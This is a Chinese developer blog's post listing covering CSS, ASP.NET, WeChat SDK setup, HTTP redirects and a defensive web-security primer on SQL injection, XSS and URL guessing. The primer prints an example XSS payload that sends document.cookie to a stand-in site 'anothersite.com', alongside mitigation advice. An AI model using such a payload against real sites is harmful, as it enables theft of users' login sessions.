Logo Logo Logo
浅色
深色
跟随系统

博客 (124)

HTML / CSS 技巧 - 可滚动的 tbody

这个简单的技巧用来解决使固定表头(thead)和滚动表体 (tbody) 的问题。这使得数据表更易于浏览。当用户滚动表格时，固定表头为用户所注意的列提供了上下文。看下面图示你就明白了：

默认情况下，overflow 属性不适用于表格分组元素 thead, tbody , tfoot。你可以在下面的示例中看到：

示例

为了使其工作，

第一步是：设置 tbody 为 display:block ，以便我们可以应用 height 和 overflow 属性。

下一步将是：设置thead 中的 tr元素设置为 display:block。

所以最终的CSS会是：

.fixed_header tbody{
  display:block;
  overflow:auto;
  height:200px;
  width:100%;
}
.fixed_header thead tr{
  display:block;
}

完整示例

这样，创建表格非常简单而且富有语义，并且没有依赖 JavaScript 。

c
转自 css88 7 年前
3,363
当前上下文中不存在名称"__o"

经常会看到这样似错非错的提示：

当前上下文中不存在名称"__o"

The name '__o' does not exist in the current context

image.png

实际上，我没有定义任何名为 __o 的变量。

发生这种情况的原因可能是使用了类似如下的代码：

<% if(true) { %>
<%= 1 %>
<% } %>
<%= 2 %>

为了在设计界面的 <%= %> 代码块中提供智能感知，ASP.NET（VB 或 C#）会自动生成一个名为“__o”的临时变量，这在页面编译器看到第一个 <%= %> 块时就完成了。但是在这里，<%= %> 块在 if 中出现，所以当关闭 if 后再使用 <%= %> 时，变量超出了定义的范围。

if (true)
{
    object @__o;
    @__o = 1;
}
@__o = 2;

解决方法：在页面的早期添加一个虚表达式。例如：<%= "" %>。这将不会呈现任何内容，并且它将确保在任何潜在的 if（或其他范围界定）语句之前，在 Render 方法中将 __o 声明为顶级。


当然还有一种治标不治本的方法就是隐藏这些错误提示（这并不影响程序正常运行）：

点击错误列表面板左上角的过滤器按钮，CS0103，其中包含错误代码：当前上下文中不存在名称"__o"，这些错误将不再显示，您仍然可以有其他 IntelliSense 错误和警告。

I
转自 IT屋 7 年前
5,662
从 Senparc.Weixin.MP.Sample 开始

  1. 下载 Senparc 官方 Sample


  2. 打开：\WeiXinMPSDK-master\src\Senparc.Weixin.MP.Sample\Senparc.Weixin.MP.Sample.sln


  3. 工具 - NuGet 包管理器 - 管理解决方案的 NuGet 程序包 - 更新

    选择所有的包（Microsoft.Net.Http 无法更新，暂不勾选），更新

    Microsoft.Net.Http 是个老顽固，无法更新也无法卸载，原因是它的语言包 Microsoft.Net.Http.zh-Hans 无法安装。我们切换到“已安装”选项卡，搜索“Microsoft.Net.Http”，选中 Microsoft.Net.Http.zh-Hans 并卸载它，现在我们可以更新 Microsoft.Net.Http 了。


  4. 【可能】运行报错：

    “/”应用程序中的服务器错误。

    配置错误

    说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 

    分析器错误消息: 创建 system.web.webPages.razor/host 的配置节处理程序时出错: 未能加载文件或程序集“System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35”或它的某一个依赖项。找到的程序集清单定义与程序集引用不匹配。 (异常来自 HRESULT:0x80131040)

    源错误: 

    行 4:    <configSections>
    行 5:      <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35">
    行 6:        <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" requirePermission="false" />
    行 7:        <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" requirePermission="false" />
    行 8:      </sectionGroup>


    源文件: E:\WeiXinMPSDK-master\src\Senparc.Weixin.MP.Sample\Senparc.Weixin.MP.Sample\views\web.config    行: 6 


    展开 Senparc.Weixin.MP.Sample 引用，查看 System.Web.Razor 的属性，复制版本号。打开 \views\web.config，修改 System.Web.WebPages.Razor 的 Version（有 3 处）。


  5. 对于小型开发项目来说，我习惯将所有代码放在同一个项目（Project）中来，所以做了以下处理：（盛派官方分离这些代码是为了同时供 MVC 和 WebForms 重用）

    在 Senparc.Weixin.MP.Sample 中添加文件夹 CommonService，将 Senparc.Weixin.MP.Sample.CommonService 项目中的文件夹和文件（.config 除外）拖到 CommonService 文件夹中。

    卸载 Senparc.Weixin.MP.Sample.CommonService 项目并删除引用。


  6. 在解决方案的 Libraries 文件夹中，我们看到 Sample 项目了以下功能模块，这些就是 Senparc.Weixin 的源代码，如果不需要修改，可以卸载它们改为使用从 NuGet 获取，以便随时更新到最新版本：

    Senparc.WebSocket

    Senparc.Weixin

    Senparc.Weixin.MP

    Senparc.Weixin.MP.MvcExtension NuGet 中对应的包名为：Senparc.Weixin.MP.MVC

    Senparc.Weixin.Open

    Senparc.Weixin.Work

    Senparc.Weixin.WxOpen

    Senparc.Weixin.Cache.Memcached

    Senparc.Weixin.Cache.Redis

    卸载这些项目，并在 NuGet 中安装这些模块（搜索“Senparc.Weixin”第一页都在了，认准作者 Jeffrey Su）

    单元测试项目中的引用也按需更换，当然也可以卸载这些单元测试项目（视情况保留 Senparc.Weixin.MP.Sample.Tests） 。


  7. 【可能】运行报错


    HTTP Error 500.19 - Internal Server Error

    无法访问请求的页面，因为该页的相关配置数据无效。

    配置源：

    134:     </sessionState>

    135:   <sessionState customProvider="Memcached" mode="Custom">

    136: <providers>


    可以在 Global.asax 的 RegisterWeixinCache() 中修改 Memcached 配置。

    或者打开 Web.config，找到 Memcached 所在的 sessionState 标签，注释掉，这样程序自动使用上方的 InProc（应用进程内）。

    如果开启了 ASP.NET State Service 服务，那么建议改用 StateServer，与 Custom 一样需要序列化，方便日后改用 Memcached 或 Redis。


  8. 再次更新 NuGet，否则会提示无法加载 Enyim.Caching 的错误（报错行：MemcachedObjectCacheStrategy.RegisterServerList(memcachedConfig);）。


  9. 接下来，进入微信公众平台，在左侧 开发 - 基本配置 中设置相关参数（填写“服务器地址(URL)”如“https://weixin.xoyozo.net/weixin/”），打开 Sample 项目中的 Web.config，配置我们的公众号参数。


  10. 将项目发布到服务器上，尝试向公众号发送消息吧。


  11. 单元测试

    设置单元测试中的公众号配置项：打开 Senparc.Weixin.MP.Test/CommonAPIs/CommonApiTest.cs，在 AppConfig 方法中可以看到支持两种配置方式，在 Senparc.Weixin.MP.Test/Config/test.config 配置文件中配置，或直接在 CommonApiTest.cs 文件中配置，前者格式如下，后者建议只在个人测试项目中使用。

    <Config>
  <AppId>YourAppId</AppId>
  <Secret>YourSecret</Secret>
  <MchId>YourMchId</MchId>
  <TenPayKey>YourTenPayKey</TenPayKey>
  <TenPayCertPath>YourTenPayCertPath</TenPayCertPath>
  <!-- 小程序 -->
  <WxOpenAppId>YourOpenAppId</WxOpenAppId>
  <WxOpenSecret>YourWxOpenSecret</WxOpenSecret>
</Config>

    另外，将 _testOpenId 值改为自己的微信号在本公众号上的 openid。


  12. 微信网页授权（OAuth2）

    打开 OAuth2Controller 控制器，将“Index”Action 中的盛派的网址（有 2 处）改成：

    Request.Url.Scheme + "://" + Request.Url.Authority + "/Oauth2/……


  13. 未完待续……

xoyozo 7 年前
6,242
HTTP 重定向之 301 / 302 / 303 / 307

一、概述

    重定向常常和请求转发放在一起讨论（前者是两次不相关的请求，后者是一次请求服务器端转发），然而本文并不讨论两者的区别，而是HTTP 1.0规范和HTTP 1.1规范中关于重定向的区别，以及实际使用中的情况。

    重定向实际使用是一个响应码（301或302或303或307）和一个响应头location，当浏览器收到响应的时候check响应码是3xx，则会取出响应头中location对应的url（重定向中url的编码问题，请参看点击打开链接），然后将该url替换浏览器地址栏并发起另一次HTTP事务。

    关于301、302、303、307的区别，找不到好的文章，因此打算直撸HTTP 1.0规范和HTTP 1.1规范，结合一些实际的案例和tomcat实现，来说清楚这几个状态码的差异。

1. 百度https重定向

    如下图所示，原请求访问的是http://www.baidu.com，然后返回302和location=https://www.baidu.com，从http转到https。不过关于响应行中302状态码的描述存在争议，在下文中会详细讨论。

20160302023117361.png

20160302022905326.png

20160302022920077.png

2. tomcat重定向源码

20160302023539001.png

二、详细

    http 1.0规范中有2个重定向——301和302，在http 1.1规范中存在4个重定向——301、302、303和307，其中302是值得讨论讨论的。

1. http 1.0

301

    301状态码在HTTP 1.0和HTTP 1.1规范中均代表永久重定向，对于资源请求，原来的url和响应头中location的url而言，资源应该对应location中的url。对于post请求的重定向，还是需要用户确认之后才能重定向，并且应该以post方法发出重定向请求。

    关于post请求重定向用户确认的问题，实际上浏览器都没有实现；而且post请求的重定向应该发起post请求，这里浏览器也并不一定遵守，所以说HTTP规范的实现并未严格按照HTTP规范的语义。

    在301中资源对应的路径修改为location的url，在SEO中并未出现问题，但是在302中就出现了302劫持问题，请往下看。

20160302031823754.png

302

    在http 1.0规范中，302表示临时重定向，location中的地址不应该被认为是资源路径，在后续的请求中应该继续使用原地址。

    规范：原请求是post，则不能自动进行重定向；原请求是get，可以自动重定向；

    实现：浏览器和服务器的实现并没有严格遵守HTTP中302的规范，服务器不加遵守的返回302，浏览器即便原请求是post也会自动重定向，导致规范和实现出现了二义性，由此衍生了一些问题，譬如302劫持，因此在HTTP 1.1中将302的规范细化成了303和307，希望以此来消除二义性。

    补充：302劫持——A站通过重定向到B站的资源xxoo，A站实际上什么都没做但是有一个比较友好的域名，web资源xxoo存在B站并由B站提供，但是B站的域名不那么友好，因此对搜索引擎而言，可能会保存A站的地址对应xxoo资源而不是B站，这就意味着B站出了资源版权、带宽、服务器的钱，但是用户通过搜索引擎搜索xxoo资源的时候出来的是A站，A站什么都没做却被索搜引擎广而告之用户，B站做了一切却不被用户知道，价值被A站窃取了。

20160302024330129.png

2. http 1.1

301

    和http 1.0规范中保持一致，注意资源对应的路径应该是location中返回的url，而不再是原请求地址。

302

    在HTTP 1.1中，实际上302是不再推荐使用的，只是为了兼容而作保留。规范中再次重申只有当原请求是GET or HEAD方式的时候才能自动的重定向，为了消除HTTP 1.0中302的二义性，在HTTP 1.1中引入了303和307来细化HTTP 1.0中302的语义。

20160302034048122.png

303

    在HTTP 1.0的时候，302的规范是原请求是post不可以自动重定向，但是服务器和浏览器的实现是运行重定向。

    把HTTP 1.0规范中302的规范和实现拆分开，分别赋予HTTP 1.1中303和307，因此在HTTP 1.1中，303继承了HTTP 1.0中302的实现（即原请求是post，也允许自动进行重定向，结果是无论原请求是get还是post，都可以自动进行重定向），而307则继承了HTTP 1.0中302的规范（即如果原请求是post，则不允许进行自动重定向，结果是post不重定向，get可以自动重定向）。

20160302050017182.png

307

    在http 1.1规范中，307为临时重定向，注意划红线的部分，如果重定向307的原请求不是get或者head方法，那么浏览器一定不能自动的进行重定向，即便location有url，也应该忽略。

    也就是307继承了302在HTTP 1.0中的规范（303继承了302在HTTP 1.0中的实现）。

20160302045035716.png

3. 小结

    在HTTP 1.0规范中，302的规范并没有被服务器和浏览器遵守，即规范和实现出现了二义性，因此在HTTP 1.1中，将302的规范和实现拆分成了303和307。


20160304095217787.png

三、结论

    虽然在不同版本的http规范中对重定向赋予了不同的语义，但是因为使用历史和服务器实现等原因，在实际中并不一定安全按照http规范实现，因此我个人感觉上述讨论只是一个了解，在实际写代码中302还是继续用吧···


参考：

1. 《http 1.0规范》
2. 《http 1.1规范》

3. 博客：点击打开链接


附注：

    本文如有错漏，烦请不吝指正，谢谢！


唐
转自 唐无敌 7 年前
5,612
一张图了解 C# 的 async / await 异步编程

以静态方法为例：

async_await.png

实际案例：在现有代码中通过async/await实现并行

早前的一篇文章


注意事项：

  • 异步编程中不能使用 Session，这点跟定时器类似。

  • 不要在调用无返回值的异步方法前加 await，否则会导致无限等待。

xoyozo 7 年前
6,355
宝塔面板使用安全

网站的“防跨站攻击”默认是开启的，对应网站根目录下存在 .user.ini 文件，可阻止该网站程序读写网站目录外的文件或目录。


通过 FTP 上传或通过 PHP 创建的文件（夹）的用户（组）都是 www:www，目录权限 755，文件权限 644


PHP 不需要“执行”权限，因为这个“执行”权限是针对 sh 的


因此 PHP 在该站任何位置具有写入权限


理想的权限控制是：pure-ftp 使用另外的用户（组），譬如 ftp:ftp


这样使用 www:www 的 PHP 就无法随意创建文件，只能在开放了“公共权限”中的“写入”权限的目录中创建。


查看系统用户组：cat /etc/group

查看系统用户：cut -d : -f 1 /etc/passwd


查看 pure-ftp 帮助：

/www/server/pure-ftpd/bin/pure-pw --help


修改 FTP 用户的所有者和组：

/www/server/pure-ftpd/bin/pure-pw usermod FTP用户名 -u 所有者 -g 组


重启 pure-ftp


上述命令经简单测试并没有更改 FTP 用户的所有者和组……



退而求其次的做法是通过 SSH 用 root 来上传网站程序代码，并开放上传目录的“写入”权限


还有重要的一点，在网站的配置文件中禁止这些有“写入”权限的目录中的 PHP 运行权限！（参：在 CentOS (Linux) 中设置目录写入权限，并禁止执行 php）


xoyozo 7 年前
6,880
安装 .NET Framework 4.7 后，Cache.Insert() 设置的缓存自动过期变成永不过期了

经测试，.NET Framework 4.8 的 Cache.Insert() 已恢复正常。

安装 .NET Framework 4.7 后，不管项目有没有升级到 .NET Framework 4.7，使用 Cache.Insert() 添加的自动过期的缓存都不会过期了，可以使用 Cache.Add() 来解决！

使用 Cache.Insert() 例：

HttpRuntime.Cache.Insert(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration);

改为使用 Cache.Add()：

HttpRuntime.Cache.Add(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration, CacheItemPriority.Default, null);

如果 Cache 中已保存了具有相同 key 的项，则调用 Add 方法将不作任何更改。（Insert 方法则会覆盖该值）


完整测试代码：

public static DateTime DateTimeNow
{
    get
    {
        if (HttpRuntime.Cache["DateTimeNow"] == null)
        {
            HttpRuntime.Cache.Add("DateTimeNow", DateTime.Now, 
                null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration, 
                CacheItemPriority.Default, null);
        }
        return Convert.ToDateTime(HttpRuntime.Cache["DateTimeNow"]);
    }
}


在部分项目中（如 .NET Framework 4 项目中）发现上述改动仍不起作用，不会自动过期，那么可以采用以下方法：


方法一、可以记录将数据添加到 Cache 的时间，获取数据时判断该时间，超时则清除该 Cache 并重新赋值；

方法二、放弃缓存依赖，用定时器清除 Cache 数据。

xoyozo 8 年前
5,668
“微信服务器向公众号推送消息或事件后，开发者5秒内没有返回”，以及客户端收到的被动回复消息并非由开发模式的服务端发送的解决方案

公众号的报警群中经常收到这样的消息：

Appid: *
昵称: *
时间: *
内容: 微信服务器向公众号推送消息或事件后，开发者5秒内没有返回
次数: *分钟 *次
错误样例: [OpenID=*][Stamp=*][3rdUrl=http://api.socialbase.cn/extapi/wechat/message/*/][IP=*][Event=Click Menu Url]
报警排查指引，请见: http://url.cn/ab0jnP

除此之外还有另外一个问题，就是客户端发送图片后会收到两条回复，一条是“印美图”处理打印图片链接，另一条是识脸判断年龄的图文。前者是之前与印美图公司合作的与快速打印照片设备配合吸粉的功能，后者是跳转到使用 FACE++ 的页面显示图片中人物的年龄。

blob.png blob.png

几天来一直找不出原因，代码中搜索错误关键词无果，被动回复消息整个流程断点逐步调试也没有发现哪里有返回“请点击这里预览印美图 点击此处裁剪相片并打印。”

不是开发模式的问题，那一定在公众平台，登录后终于在“开发”的“基本配置”页找到了“管理已授权的第三方平台”，找到“Socialbase”取消授权即可。

blob.png

整个世界安静了……

blob.png

xoyozo 8 年前
17,615
菜鸟老鸟，安全上你不该犯的错！

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

R
转自 Reginald 8 年前
4,451
JS 文件异步加载，并给 JS 文件传参

最近要做个简单的类似 CNZZ 和百度统计的统计器，不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。

参考了 CNZZ 的代码以后，在 Chrome 的控制台发现以下警告：

A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.

Paul Kinlan 给出了解释，是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM，建议改成 document.appendChild() 或 parentNode.insertBefore()，最好的例子就是 Google Analytics。

<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。

加了一些注释，便于理解，官方英文版。

(function (i, s, o, g, r, a, m) {
  i['GoogleAnalyticsObject'] = r;
  // console.log(window['GoogleAnalyticsObject']) // 'ga'
  // console.log(i[r]) // undefined
  i[r] = i[r] || function () { // i[r] 就是 window['ga']，定义了一个函数
    (i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
  },
  i[r].l = 1 * new Date(); // 时间戳，写法等同于 new Date().getTime()
  // console.log(i[r]) // window['ga'] 就是上面那个 function
  a = s.createElement(o), // 创建一个 script 元素
  m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本（文档中肯定至少已有一个脚本了）
  a.async = 1; // 异步加载
  a.defer = 1; // 兼容旧浏览器（我自己加的）
  a.src = g;
  m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');

过程是：

创建了一个 <script> 元素，并异步加载 http://***/***.js；初始化了一个全局函数 ga；在 ga() 命令队列中添加了两条命令。

现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了，示例：

;(function () {
  console.log(ga.q);
})(window);

简单补充下，async 是 HTML5 属性，使支持异步加载 JS 文件；defer 只支持 IE，作用类似。

测试异步只需要将 js 文件换成服务端页面，并人为设置 sleep 时间即可，阻塞式调用的话会在加载 js 时暂停后续页面的渲染。

xoyozo 8 年前
6,761
6 7 8 9 10

大家在看

vivo 手机如何使用 USB 调试模式连接电脑
电脑或手机访问小米路由器内置硬盘或 USB 移动硬盘
Photoshop 去除图片背景色改为透明色（不留锯齿）
在 ASP.NET Core 网站中使用远程接口鉴权
服务器被攻击或出现异常警告的优化处理方式汇总（含 Discuz!）

最新发布

在 ASP.NET Core 网站中使用远程接口鉴权
nginx 中的生命周期
在 access_by_lua_block 获取系统 CPU 使用率
在宝塔面板中使用 lua 实现远程接口鉴权
在宝塔面板中使 lua 支持 resty.http